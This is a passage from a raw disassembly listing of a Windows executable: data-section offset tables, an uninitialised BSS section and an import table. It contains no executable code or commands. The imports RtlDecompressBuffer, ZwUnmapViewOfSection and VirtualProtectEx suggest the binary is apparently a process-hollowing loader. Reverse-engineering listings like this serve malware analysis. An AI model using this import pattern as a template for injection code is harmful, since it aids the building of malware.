DATA XREF: CODE:00406A6Co off_40916C dd offset off_403928 ; DATA XREF: CODE:00406A60o off_409170 dd offset off_403930 ; DATA XREF: sub_4051EC+A9o ; CODE:00406A54o off_409174 dd offset off_403938 ; DATA XREF: CODE:00406A48o off_409178 dd offset off_403940 ; DATA XREF: CODE:00406A3Co off_40917C dd offset off_403948 ; DATA XREF: CODE:00406A30o off_409180 dd offset off_403950 ; DATA XREF: CODE:00406A24o off_409184 dd offset off_403958 ; DATA XREF: CODE:00406A18o off_409188 dd offset off_403960 ; DATA XREF: CODE:00406A0Co off_40918C dd offset off_403968 ; DATA XREF: sub_4051EC+CEo ; CODE:00406A00o off_409190 dd offset off_403970 ; DATA XREF: CODE:004069F4o off_409194 dd offset off_403978 ; DATA XREF: CODE:004069E8o off_409198 dd offset off_403980 ; DATA XREF: CODE:004069DCo off_40919C dd offset off_403988 ; DATA XREF: CODE:004069D0o off_4091A0 dd offset off_403990 ; DATA XREF: CODE:004069C4o off_4091A4 dd offset off_403998 ; DATA XREF: CODE:004069B8o dword_4091A8 dd 2 ; DATA XREF: sub_405AA0+16r ; sub_406B98+46o dword_4091AC dd 0 ; DATA XREF: sub_405AA0+24r ; CODE:004069ACo dd 3 dword_4091B4 dd 0 ; DATA XREF: CODE:004069A4o dd 4 dword_4091BC dd 0 ; DATA XREF: CODE:0040699Co dd 5 dword_4091C4 dd 0 ; DATA XREF: CODE:00406994o dword_4091C8 dd 64h ; DATA XREF: sub_405B20+2Ao ; sub_405CE4+Fr ... dword_4091CC dd 0 ; DATA XREF: CODE:0040698Co dd 65h dword_4091D4 dd 0 ; DATA XREF: CODE:00406984o dd 6Ah dword_4091DC dd 0 ; DATA XREF: CODE:0040697Co off_4091E0 dd offset dword_403CAC ; DATA XREF: sub_406B98+31o dword_4091E4 dd 0 ; DATA XREF: CODE:00406974o dd offset dword_403D04 dword_4091EC dd 0 ; DATA XREF: CODE:0040696Co dd offset dword_403D5C dword_4091F4 dd 0 ; DATA XREF: CODE:00406964o dd offset dword_403E10 dword_4091FC dd 0 ; DATA XREF: CODE:0040695Co dd offset dword_403E68 dword_409204 dd 0 ; DATA XREF: CODE:00406954o dd offset dword_403EC0 dword_40920C dd 0 ; DATA XREF: CODE:0040694Co dd offset dword_403F18 dword_409214 dd 0 ; DATA XREF: CODE:00406944o dd offset dword_403FCC dword_40921C dd 0 ; DATA XREF: CODE:0040693Co dd offset dword_404084 dword_409224 dd 0 ; DATA XREF: CODE:00406934o dd offset dword_4040E4 dword_40922C dd 0 ; DATA XREF: CODE:0040692Co dd offset dword_404198 dword_409234 dd 0 ; DATA XREF: CODE:00406924o dd offset dword_40413C dword_40923C dd 0 ; DATA XREF: CODE:0040691Co dd offset dword_4041F0 dword_409244 dd 0 ; DATA XREF: CODE:00406914o dd offset dword_4041F0 dword_40924C dd 0 ; DATA XREF: CODE:0040690Co dd offset dword_4041F0 dword_409254 dd 0 ; DATA XREF: CODE:00406904o dd offset dword_4041F0 dword_40925C dd 0 ; DATA XREF: CODE:004068FCo dd offset dword_4041F0 dword_409264 dd 0 ; DATA XREF: CODE:004068F4o dd offset dword_4041F0 dword_40926C dd 0 ; DATA XREF: CODE:004068ECo dd offset dword_40424C dword_409274 dd 0 ; DATA XREF: CODE:004068E4o dd offset dword_403BF4 dword_40927C dd 0 ; DATA XREF: CODE:004068DCo dd offset dword_404308 dword_409284 dd 0 ; DATA XREF: CODE:004068D4o dd offset dword_404364 dword_40928C dd 0 ; DATA XREF: CODE:004068CCo dword_409290 dd 20591EC1h ; DATA XREF: sub_406338+Ar dword_409294 dd 0 ; DATA XREF: sub_40683C+1o dword_409298 dd 1 ; DATA XREF: sub_4070D4+3r dd 10h, 2, 20h, 4, 40h, 4, 40h off_4092B8 dd offset off_403888 ; DATA XREF: CODE:00406B54o off_4092BC dd offset off_4037F8 ; DATA XREF: CODE:00406908o off_4092C0 dd offset off_403748 ; DATA XREF: CODE:004069A0o off_4092C4 dd offset off_4038D8 ; DATA XREF: CODE:00406ADCo off_4092C8 dd offset off_403918 ; DATA XREF: CODE:00406A7Co off_4092CC dd offset off_403980 ; DATA XREF: CODE:004069E0o off_4092D0 dd offset off_4038A8 ; DATA XREF: CODE:00406B24o off_4092D4 dd offset dword_40A028 ; DATA XREF: sub_405FA4+79r off_4092D8 dd offset off_403838 ; DATA XREF: sub_405EC8+73r ; CODE:004068E0o off_4092DC dd offset off_403990 ; DATA XREF: CODE:004069C8o off_4092E0 dd offset dword_40A008 ; DATA XREF: sub_405FA4+2Er ; sub_406028+34r off_4092E4 dd offset off_403968 ; DATA XREF: CODE:00406A04o off_4092E8 dd offset off_403890 ; DATA XREF: CODE:00406B48o off_4092EC dd offset off_403760 ; DATA XREF: CODE:00406988o off_4092F0 dd offset off_403970 ; DATA XREF: CODE:004069F8o off_4092F4 dd offset off_403950 ; DATA XREF: CODE:00406A28o off_4092F8 dd offset off_403978 ; DATA XREF: CODE:004069ECo off_4092FC dd offset dword_40A01C ; DATA XREF: sub_405FA4+44r ; sub_406028+46r off_409300 dd offset off_403730 ; DATA XREF: sub_405AA0+44r off_409304 dd offset off_4037E0 ; DATA XREF: CODE:004058A4r off_409308 dd offset off_403728 ; DATA XREF: sub_405FA4r off_40930C dd offset off_4038B0 ; DATA XREF: CODE:00406B18o off_409310 dd offset off_403768 ; DATA XREF: CODE:00406980o off_409314 dd offset off_4037E8 ; DATA XREF: CODE:00406B90o off_409318 dd offset off_403860 ; DATA XREF: CODE:loc_405C4Cr off_40931C dd offset off_403900 ; DATA XREF: CODE:00406AA0o off_409320 dd offset dword_40A20C ; DATA XREF: CODE:0040584Er off_409324 dd offset off_403920 ; DATA XREF: CODE:00406A70o off_409328 dd offset off_403830 ; DATA XREF: CODE:004068F8o off_40932C dd offset dword_40A00C ; DATA XREF: sub_405FA4+51r ; sub_406028+4Fr off_409330 dd offset off_4038E0 ; DATA XREF: CODE:00406AD0o off_409334 dd offset dword_40A004 ; DATA XREF: sub_405FA4+39r ; sub_406028+3Dr off_409338 dd offset dword_40A010 ; DATA XREF: sub_405FA4+5Cr ; sub_406028+58r off_40933C dd offset off_403928 ; DATA XREF: CODE:00406A64o off_409340 dd offset off_4037C0 ; DATA XREF: CODE:00406920o off_409344 dd offset off_4037C8 ; DATA XREF: CODE:00406928o off_409348 dd offset off_403960 ; DATA XREF: CODE:00406A10o off_40934C dd offset off_403738 ; DATA XREF: CODE:004069B0o off_409350 dd offset off_403780 ; DATA XREF: CODE:00406968o off_409354 dd offset off_4037F0 ; DATA XREF: CODE:00406B84o off_409358 dd offset off_403810 ; DATA XREF: CODE:00406900o off_40935C dd offset off_4038D0 ; DATA XREF: CODE:00406AE8o off_409360 dd offset off_403848 ; DATA XREF: CODE:004068D8o off_409364 dd offset off_4038F8 ; DATA XREF: CODE:00406AACo off_409368 dd offset off_403828 ; DATA XREF: CODE:00406910o off_40936C dd offset off_4038E8 ; DATA XREF: CODE:00406AC4o off_409370 dd offset off_403908 ; DATA XREF: CODE:00406A94o off_409374 dd offset off_403820 ; DATA XREF: CODE:00406918o off_409378 dd offset off_403878 ; DATA XREF: CODE:00406B6Co off_40937C dd offset off_4038B8 ; DATA XREF: CODE:00406B0Co off_409380 dd offset off_403948 ; DATA XREF: CODE:00406A34o off_409384 dd offset off_403758 ; DATA XREF: CODE:00406990o off_409388 dd offset off_403798 ; DATA XREF: CODE:00406950o off_40938C dd offset off_4038F0 ; DATA XREF: CODE:00406AB8o off_409390 dd offset off_4037A8 ; DATA XREF: sub_405FA4+17r off_409394 dd offset off_403958 ; DATA XREF: CODE:00406A1Co off_409398 dd offset off_4037A0 ; DATA XREF: CODE:00406948o off_40939C dd offset off_403930 ; DATA XREF: CODE:00406A58o off_4093A0 dd offset dword_40A020 ; DATA XREF: sub_405FA4+6Cr ; sub_406028+61r off_4093A4 dd offset off_403850 ; DATA XREF: CODE:004068D0o off_4093A8 dd offset off_403808 ; DATA XREF: sub_405CFC+54r off_4093AC dd offset off_403988 ; DATA XREF: CODE:004069D4o off_4093B0 dd offset off_403750 ; DATA XREF: CODE:00406998o off_4093B4 dd offset off_403840 ; DATA XREF: sub_405B74+38r ; CODE:004068E8o off_4093B8 dd offset off_403910 ; DATA XREF: CODE:00406A88o off_4093BC dd offset off_403938 ; DATA XREF: CODE:00406A4Co off_4093C0 dd offset dword_40A03C ; DATA XREF: CODE:00405844r off_4093C4 dd offset off_403940 ; DATA XREF: CODE:00406A40o off_4093C8 dd offset off_403818 ; DATA XREF: CODE:004068F0o off_4093CC dd offset off_403868 ; DATA XREF: sub_405CFC+110r off_4093D0 dd offset off_4038A0 ; DATA XREF: CODE:00406B30o off_4093D4 dd offset off_403858 ; DATA XREF: sub_405B74+63r off_4093D8 dd offset off_4038C0 ; DATA XREF: CODE:00406B00o off_4093DC dd offset off_403998 ; DATA XREF: CODE:004069BCo off_4093E0 dd offset off_403880 ; DATA XREF: CODE:00406B60o off_4093E4 dd offset off_4037B8 ; DATA XREF: sub_405CFC+16Cr ; CODE:00406938o off_4093E8 dd offset off_403740 ; DATA XREF: CODE:004069A8o off_4093EC dd offset off_4037D0 ; DATA XREF: CODE:00406930o off_4093F0 dd offset off_403778 ; DATA XREF: CODE:00406970o off_4093F4 dd offset off_403770 ; DATA XREF: CODE:00406978o off_4093F8 dd offset off_4038C8 ; DATA XREF: CODE:00406AF4o off_4093FC dd offset off_403788 ; DATA XREF: CODE:00406960o off_409400 dd offset off_403870 ; DATA XREF: CODE:00406B78o off_409404 dd offset off_4037D8 ; DATA XREF: CODE:00405786r off_409408 dd offset off_4037B0 ; DATA XREF: CODE:00406940o off_40940C dd offset off_403790 ; DATA XREF: CODE:00406958o off_409410 dd offset off_403800 ; DATA XREF: sub_405CFC+45r off_409414 dd offset off_403898 ; DATA XREF: CODE:00406B3Co align 200h DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00000A4D ( 2637.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00007C00 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 40A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dword_40A000 dd ? ; DATA XREF: sub_403450+13w dword_40A004 dd ? ; DATA XREF: DATA:off_409334o dword_40A008 dd ? ; DATA XREF: sub_40128C+9r ; sub_40128C+16r ... dword_40A00C dd ? ; DATA XREF: DATA:off_40932Co dword_40A010 dd ? ; DATA XREF: sub_4021A4+25r ; DATA:off_409338o dword_40A014 dd ? ; DATA XREF: sub_4020F0+14r ; sub_40210C+16r ... dword_40A018 dd ? ; DATA XREF: sub_4021A4+D2r ; sub_402428+Aw dword_40A01C dd ? ; DATA XREF: DATA:off_4092FCo dword_40A020 dd ? ; DATA XREF: DATA:off_4093A0o dword_40A024 dd ? ; DATA XREF: sub_4024E0+A0r ; sub_4024E0+A9r dword_40A028 dd ? ; DATA XREF: DATA:off_4092D4o dword_40A02C dd ? ; DATA XREF: sub_402428+29w dword_40A030 dd ? ; DATA XREF: sub_403450+27w byte_40A034 db ? ; DATA XREF: sub_402428+2Ew align 4 dword_40A038 dd ? ; DATA XREF: sub_4024E0+Eo dword_40A03C dd ? ; DATA XREF: DATA:off_4093C0o dword_40A040 dd 73h dup(?) ; DATA XREF: sub_4018F0:loc_40192Fo dword_40A20C dd 73h dup(?) ; DATA XREF: sub_4017E8:loc_401807o ; DATA:off_409320o dword_40A3D8 dd 73h dup(?) ; DATA XREF: CODE:loc_401721o ; sub_4017E8+26o dword_40A5A4 dd ? ; DATA XREF: sub_403408+11w ; sub_403450w ; HANDLE hHeap hHeap dd ? ; DATA XREF: sub_4011B0+7r ; sub_4011C4+Dr ... dword_40A5AC dd 2 dup(?) ; DATA XREF: sub_402384+4o ; sub_4024B0+Do ... dword_40A5B4 dd ? ; DATA XREF: sub_40240Cr ; sub_402428+14w dword_40A5B8 dd ? ; DATA XREF: sub_4023B8+20w ; sub_402428+1Bw dword_40A5BC dd ? ; DATA XREF: sub_402428+20w dd 6 dup(?) dword_40A5D8 dd ? ; DATA XREF: sub_403408+19r ; sub_403408+22r dword_40A5DC dd ? ; DATA XREF: sub_402D80o ; sub_402D80+19w ... dd 0Ah dup(?) dword_40A608 dd ? ; DATA XREF: sub_402DA8r dd 1Fh dup(?) byte_40A688 db ? ; DATA XREF: sub_4034D8r byte_40A689 db ? ; DATA XREF: sub_406D18+2Er align 4 ; DWORD TlsIndex TlsIndex dd ? ; DATA XREF: sub_403494+Cr ; sub_403494+37r ... dd ? dword_40A694 dd ? ; DATA XREF: sub_403524+11w ; sub_403524+16r ... dword_40A698 dd ? ; DATA XREF: sub_403568+11w ; CODE:loc_403598w dword_40A69C dd ? ; DATA XREF: sub_4034D8:loc_403507r dword_40A6A0 dd ? ; DATA XREF: sub_4035A0+11w ; sub_4035D0w dword_40A6A4 dd ? ; DATA XREF: sub_4036B8+11w ; sub_4036E8w dword_40A6A8 dd ? ; DATA XREF: sub_4036F0+11w ; sub_403720w dword_40A6AC dd ? ; DATA XREF: sub_4039A0+11w ; sub_4039D0w dword_40A6B0 dd ? ; DATA XREF: sub_404C38+1Cr ; sub_4064C4+52o ... byte_40A6B4 db ? ; DATA XREF: sub_404C38+24r ; sub_4064C4+7Bw byte_40A6B5 db ? ; DATA XREF: sub_404C38+2Cr ; sub_4064C4+9Fw byte_40A6B6 db ? ; DATA XREF: sub_404C38+14r ; sub_4064C4+B2w byte_40A6B7 db ? ; DATA XREF: sub_404C38+Cr ; sub_4064C4+C5w byte_40A6B8 db ? ; DATA XREF: sub_4047F6+296r ; sub_4064C4+E9w byte_40A6B9 db ? ; DATA XREF: sub_4064C4+FCw align 4 dword_40A6BC dd ? ; DATA XREF: sub_4064C4+124o ; sub_406B98+135o dword_40A6C0 dd ? ; DATA XREF: sub_4064C4+151o ; sub_406B98+12Bo byte_40A6C4 db ? ; DATA XREF: sub_4064C4+169w align 4 dword_40A6C8 dd ? ; DATA XREF: sub_4064C4+186o ; sub_406B98+121o dword_40A6CC dd ? ; DATA XREF: sub_4064C4+1A8o ; sub_406B98+117o dword_40A6D0 dd ? ; DATA XREF: sub_4064C4+271o ; sub_406B98+10Do dword_40A6D4 dd ? ; DATA XREF: sub_4064C4+28Eo ; sub_406B98+103o dword_40A6D8 dd 0Ch dup(?) ; DATA XREF: sub_4051EC+29o ; sub_406B98+EEo dword_40A708 dd 0Ch dup(?) ; DATA XREF: sub_4051EC+2Eo ; sub_406B98+D9o dword_40A738 dd 7 dup(?) ; DATA XREF: sub_4051EC+8Ao ; sub_406B98+C4o dword_40A754 dd 7 dup(?) ; DATA XREF: sub_4051EC+8Fo ; sub_406B98+AFo ; LCID Locale Locale dd ? ; DATA XREF: sub_4062D8+Er ; sub_406350+Cw ... dword_40A774 dd ? ; DATA XREF: sub_405474+5Cr ; sub_406338r ... dword_40A778 dd ? ; DATA XREF: sub_406350+20w ; sub_406350+53w dword_40A77C dd ? ; DATA XREF: CalInfoEnumProc:loc_405324r ; CalInfoEnumProc+1Eo ... dword_40A780 dd 6 dup(?) ; DATA XREF: sub_406B98+9Ao dword_40A798 dd ? ; DATA XREF: sub_40534C:loc_405370r ; sub_40534C+43w dword_40A79C dd 7 dup(?) ; DATA XREF: sub_4053C4+5Do dword_40A7B8 dd ? ; DATA XREF: sub_406B98+8Ao dword_40A7BC dd ? ; DATA XREF: sub_406B98+7Ao dword_40A7C0 dd ? ; DATA XREF: sub_406B98+11w ; sub_406D18+11w dword_40A7C4 dd ? ; DATA XREF: sub_405B20:loc_405B35r ; sub_405FA4+12w ... dword_40A7C8 dd ? ; DATA XREF: sub_405B20:loc_405B3Dr ; sub_405FA4+29w ... dword_40A7CC dd ? ; DATA XREF: sub_406B98+1Do dword_40A7D0 dd ? ; DATA XREF: sub_406F40+11w ; sub_406F70w dword_40A7D4 dd ? ; DATA XREF: CODE:00407C49o ; CODE:00407C68r dword_40A7D8 dd ? ; DATA XREF: CODE:00407CAFo ; CODE:00407CC8r ... dword_40A7DC dd ? ; DATA XREF: CODE:00407CC3o ; CODE:00407CD3o ... byte_40A7E0 db ? ; DATA XREF: CODE:loc_407C61o ; CODE:00407E21r byte_40A7E1 db 3 dup(?) ; DATA XREF: CODE:00407D4Ao dd 3Fh dup(?) db ? byte_40A8E1 db ? ; DATA XREF: CODE:00407CECr align 4 dword_40A8E4 dd ? ; DATA XREF: CODE:00407C78o ; CODE:00407C94o ... dword_40A8E8 dd ? ; DATA XREF: CODE:loc_407D45o ; CODE:00407D72r ... dword_40A8EC dd 53h dup(?) ; DATA XREF: CODE:00407EB6o ; CODE:00407EC5o ... dword_40AA38 dd ? ; DATA XREF: CODE:00407BF9w ; CODE:00407FA5r ... dword_40AA3C dd ? ; DATA XREF: CODE:00407C1Cw ; CODE:00407F2Br dword_40AA40 dd ? ; DATA XREF: CODE:00407C3Fw ; CODE:00407C5Br ... dword_40AA44 dd ? ; DATA XREF: CODE:00407BA4w ; CODE:00407BCEr ... dword_40AA48 dd ? ; DATA XREF: CODE:00407BB3w ; CODE:00407C14r ... db ? BSS ends ; ; Imports from kernel32.dll ; ; Section 4. (virtual address 0000B000) ; Virtual size : 0000077A ( 1914.) ; Section size in file : 00000800 ( 2048.) ; Offset to raw data for section: 00007C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Externs ; _idata ; DWORD __stdcall GetCurrentThreadId() extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr ; int __stdcall WideCharToMultiByte(UINT CodePage,DWORD dwFlags,LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar) extrn __imp_WideCharToMultiByte:dword ; DATA XREF: WideCharToMultiByter ; int __stdcall lstrlenA(LPCSTR lpString) extrn __imp_lstrlenA:dword ; DATA XREF: lstrlenAr ; LPSTR __stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength) extrn __imp_lstrcpynA:dword ; DATA XREF: lstrcpynAr ; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags) extrn __imp_LoadLibraryExA:dword ; DATA XREF: LoadLibraryExAr ; LCID __stdcall GetThreadLocale() extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr ; int __stdcall GetLocaleInfoA(LCID Locale,LCTYPE LCType,LPSTR lpLCData,int cchData) extrn __imp_GetLocaleInfoA:dword ; DATA XREF: GetLocaleInfoAr ; DWORD __stdcall GetLastError() extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData) extrn __imp_FindFirstFileA:dword ; DATA XREF: FindFirstFileAr ; BOOL __stdcall FindClose(HANDLE hFindFile) extrn __imp_FindClose:dword ; DATA XREF: FindCloser ; void __stdcall ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler ; CODE:loc_40183Cr ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn __imp_UnhandledExceptionFilter:dword ; DATA XREF: UnhandledExceptionFilterr ; DWORD __stdcall SetFilePointer(HANDLE hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod) extrn __imp_SetFilePointer:dword ; DATA XREF: SetFilePointerr ; BOOL __stdcall SetEndOfFile(HANDLE hFile) extrn __imp_SetEndOfFile:dword ; DATA XREF: SetEndOfFiler extrn RtlUnwind:dword ; DATA XREF: CODE:loc_4010F8r ; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped) extrn __imp_ReadFile:dword ; DATA XREF: ReadFiler ; void __stdcall RaiseException(DWORD dwExceptionCode,DWORD dwExceptionFlags,DWORD nNumberOfArguments,const ULONG_PTR *lpArguments) extrn RaiseException:dword ; DATA XREF: CODE:loc_4010E8r ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler ; DWORD __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh) extrn __imp_GetFileSize:dword ; DATA XREF: GetFileSizer ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime) extrn __imp_GetSystemTime:dword ; DATA XREF: GetSystemTimer ; DWORD __stdcall GetFileType(HANDLE hFile) extrn __imp_GetFileType:dword ; DATA XREF: GetFileTyper ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler ; LPSTR __stdcall GetCommandLineA() extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex,LPVOID lpTlsValue) extrn __imp_TlsSetValue:dword ; DATA XREF: TlsSetValuer ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex) extrn __imp_TlsGetValue:dword ; DATA XREF: TlsGetValuer ; HLOCAL __stdcall LocalAlloc(UINT uFlags,SIZE_T uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn __imp_FreeLibrary:dword ; DATA XREF: FreeLibraryr ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem) extrn __imp_HeapFree:dword ; DATA XREF: HeapFreer ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes) extrn __imp_HeapReAlloc:dword ; DATA XREF: HeapReAllocr ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes) extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr ; HANDLE __stdcall GetProcessHeap() extrn __imp_GetProcessHeap:dword ; DATA XREF: GetProcessHeapr ; ; Imports from user32.dll ; ; int __stdcall LoadStringA(HINSTANCE hInstance,UINT uID,LPSTR lpBuffer,int cchBufferMax) extrn __imp_LoadStringA:dword ; DATA XREF: LoadStringAr ; LPSTR __stdcall CharNextA(LPCSTR lpsz) extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr ; ; Imports from advapi32.dll ; ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData) extrn __imp_RegQueryValueExA:dword ; DATA XREF: RegQueryValueExAr ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult) extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExAr ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; ; Imports from oleaut32.dll ; ; void __stdcall SysFreeString(BSTR bstrString) extrn __imp_SysFreeString:dword ; DATA XREF: SysFreeStringr ; ; Imports from advapi32.dll ; ; BOOL __stdcall GetUserNameA(LPSTR lpBuffer,LPDWORD pcbBuffer) extrn __imp_GetUserNameA:dword ; DATA XREF: GetUserNameAr ; ; Imports from kernel32.dll ; ; BOOL __stdcall WriteFile_0(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile_0:dword ; DATA XREF: WriteFile_0r ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress,PMEMORY_BASIC_INFORMATION lpBuffer,SIZE_T dwLength) extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode) extrn __imp_TerminateProcess:dword ; DATA XREF: TerminateProcessr ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn __imp_GetVersionExA:dword ; DATA XREF: GetVersionExAr ; LCID __stdcall GetThreadLocale_0() extrn __imp_GetThreadLocale_0:dword ; DATA XREF: GetThreadLocale_0r ; BOOL __stdcall GetStringTypeExA(LCID Locale,DWORD dwInfoType,LPCSTR lpSrcStr,int cchSrc,LPWORD lpCharType) extrn __imp_GetStringTypeExA:dword ; DATA XREF: GetStringTypeExAr ; HANDLE __stdcall GetStdHandle_0(DWORD nStdHandle) extrn __imp_GetStdHandle_0:dword ; DATA XREF: GetStdHandle_0r ; FARPROC __stdcall GetProcAddress_0(HMODULE hModule,LPCSTR lpProcName) extrn __imp_GetProcAddress_0:dword ; DATA XREF: GetProcAddress_0r ; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r ; DWORD __stdcall GetModuleFileNameA_0(HMODULE hModule,LPCH lpFilename,DWORD nSize) extrn __imp_GetModuleFileNameA_0:dword ; DATA XREF: GetModuleFileNameA_0r ; int __stdcall GetLocaleInfoA_0(LCID Locale,LCTYPE LCType,LPSTR lpLCData,int cchData) extrn __imp_GetLocaleInfoA_0:dword ; DATA XREF: GetLocaleInfoA_0r ; DWORD __stdcall GetEnvironmentVariableA(LPCSTR lpName,LPSTR lpBuffer,DWORD nSize) extrn __imp_GetEnvironmentVariableA:dword ; DATA XREF: GetEnvironmentVariableAr ; BOOL __stdcall GetDiskFreeSpaceA(LPCSTR lpRootPathName,LPDWORD lpSectorsPerCluster,LPDWORD lpBytesPerSector,LPDWORD lpNumberOfFreeClusters,LPDWORD lpTotalNumberOfClusters) extrn __imp_GetDiskFreeSpaceA:dword ; DATA XREF: GetDiskFreeSpaceAr ; DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength,LPSTR lpBuffer) extrn __imp_GetCurrentDirectoryA:dword ; DATA XREF: GetCurrentDirectoryAr ; BOOL __stdcall GetCPInfo(UINT CodePage,LPCPINFO lpCPInfo) extrn __imp_GetCPInfo:dword ; DATA XREF: GetCPInfor ; UINT __stdcall GetACP() extrn __imp_GetACP:dword ; DATA XREF: GetACPr ; HANDLE __stdcall FindFirstFileA_0(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData) extrn __imp_FindFirstFileA_0:dword ; DATA XREF: FindFirstFileA_0r ; BOOL __stdcall FindClose_0(HANDLE hFindFile) extrn __imp_FindClose_0:dword ; DATA XREF: FindClose_0r ; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME *lpFileTime,LPFILETIME lpLocalFileTime) extrn __imp_FileTimeToLocalFileTime:dword ; DATA XREF: FileTimeToLocalFileTimer ; BOOL __stdcall FileTimeToDosDateTime(const FILETIME *lpFileTime,LPWORD lpFatDate,LPWORD lpFatTime) extrn __imp_FileTimeToDosDateTime:dword ; DATA XREF: FileTimeToDosDateTimer ; BOOL __stdcall EnumCalendarInfoA(CALINFO_ENUMPROCA lpCalInfoEnumProc,LCID Locale,CALID Calendar,CALTYPE CalType) extrn __imp_EnumCalendarInfoA:dword ; DATA XREF: EnumCalendarInfoAr ; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes) extrn __imp_CreateDirectoryA:dword ; DATA XREF: CreateDirectoryAr ; ; Imports from user32.dll ; ; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType) extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr ; int __stdcall LoadStringA_0(HINSTANCE hInstance,UINT uID,LPSTR lpBuffer,int cchBufferMax) extrn __imp_LoadStringA_0:dword ; DATA XREF: LoadStringA_0r ; int __stdcall GetSystemMetrics(int nIndex) extrn __imp_GetSystemMetrics:dword ; DATA XREF: GetSystemMetricsr ; LPSTR __stdcall CharNextA_0(LPCSTR lpsz) extrn __imp_CharNextA_0:dword ; DATA XREF: CharNextA_0r ; ; Imports from ntdll.dll ; extrn __imp_RtlDecompressBuffer:dword ; DATA XREF: RtlDecompressBufferr ; ; Imports from ntdll.dll ; extrn __imp_ZwUnmapViewOfSection:dword ; DATA XREF: ZwUnmapViewOfSectionr ; ; Imports from kernel32.dll ; ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) 